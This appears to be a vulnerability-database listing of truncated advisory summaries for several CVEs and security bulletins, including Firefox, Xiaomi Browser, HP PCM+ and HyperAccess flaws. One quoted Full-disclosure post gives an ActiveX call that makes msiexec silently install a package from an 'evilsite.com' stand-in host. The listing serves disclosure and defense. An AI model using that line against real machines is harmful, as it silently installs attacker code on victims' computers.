CVE-2020-6797

By downloading a file with the .fileloc extension, a semi-privileged extension could launch an arbitrary application on the user's computer. The attacker is restricted as they are unable to download non-quarantined files or supply command line arguments to the application, limiting the impact...

Security Vulnerabilities fixed in Firefox 73 — Mozilla

A content process could have modified shared memory relating to crash reporting information, crash itself, and cause an out-of-bound write. This could have caused memory corruption and a potentially exploitable crash. By downloading a file with the .fileloc extension, a semi-privileged extension...

CVE-2019-13322

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Xiaomi Browser Prior to 10.4.0. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within t...

Apple Mac OS X Security Updates (HT208692)-02

Apple Mac OS X is prone to multiple vulnerabilities. SPDX-FileCopyrightText: 2018 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Cloud Foundry Silk CNI Plugin Access Control Error Vulnerability

Cloud Foundry CF is the U.S. Cloud Foundry Foundation's set of open source platform-as-a-service PaaS cloud computing platform , which provides container scheduling , continuous delivery and automated service deployment and other functions . Silk CNI plugin is one of the CNI-compatible use of...

PT-2017-04: Security Restrictions Bypass in Kaspersky Embedded Systems Security

The specialists of the Positive Research center have detected a Security Restrictions Bypass vulnerability in Kaspersky Embedded Systems Security. Vulnerability in the Application Control component of Kaspersky Embedded Systems Security allows attackers to gain privileges and execute arbitrary...

applican vulnerable to script injection

Overview applican provided by Newphoria Corporation Inc. is a platform to build hybrid applications for both iOS and Android. applican is vulnerable to script injection due to an issue in processing SSID. Note that this vulnerability is different from JVN64625488. Kenta Suefusa and Tomonori Shiom...

Hilgraeve HyperAccess 8.4 - Multiple Remote Command Execution Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/21594/info Hilgraeve HyperACCESS is prone to multiple remote command-execution vulnerabilities. Attackers can exploit these issues to execute arbitrary application commands with the privileges of the affected application....

Interactive Studio GamePort 3.0/3.1/4.0 Arbitrary application execution

No description provided by source. source: http://www.securityfocus.com/bid/12006/info Gameport is reported prone to multiple vulnerabilities in the client and server. These issues may allow an attacker to gain unauthorized access to a vulnerable server and execute arbitrary code on a vulnerable...

HP PCM+ and Application Lifecycle Management JBoss Invoker Servlets Marshalled Object Remote Code Execution Vulnerability

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of HP PCM Plus and Application Lifecycle Management. Authentication is not required to exploit this vulnerability. The specific flaw exists within the exposed EJBInvokerServlet and JMXInvokerServlet. ...

Re: [Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

I was playing with this a bit more. Everybody has the Windows Installer installed, right? How about this: obj.DoWebLaunch"","........windowssystem32msiexec.exe", "","/i http://www.evilsite.com/evilapp.msi /quiet"; Elazar On Tue, 08 Jan 2008 20:08:53 -0500 [email protected] wrote: The DoWebLaunc...

Hilgraeve HyperAccess 8.4 - Multiple Remote Command Execution Vulnerabilities

source: https://www.securityfocus.com/bid/21594/info Hilgraeve HyperACCESS is prone to multiple remote command-execution vulnerabilities. Attackers can exploit these issues to execute arbitrary application commands with the privileges of the affected application. A successful exploit could result...

Hilgraeve HyperAccess 8.4 - Multiple Remote Command Execution Vulnerabilities

Hilgraeve HyperAccess 8.4 - Multiple Remote Command Execution Vulnerabilities source: https://www.securityfocus.com/bid/21594/info Hilgraeve HyperACCESS is prone to multiple remote command-execution vulnerabilities. Attackers can exploit these issues to execute arbitrary application commands with...

Microsoft Windows opens OLE2 documents using a program specified internally by the document

Overview Microsoft Windows may allow remote code execution through specially crafted OLE2 documents. Description Microsoft object linking and embedding OLE is a technology that allows applications to create and edit compound documents. Compound documents can contain embedded documents or links to...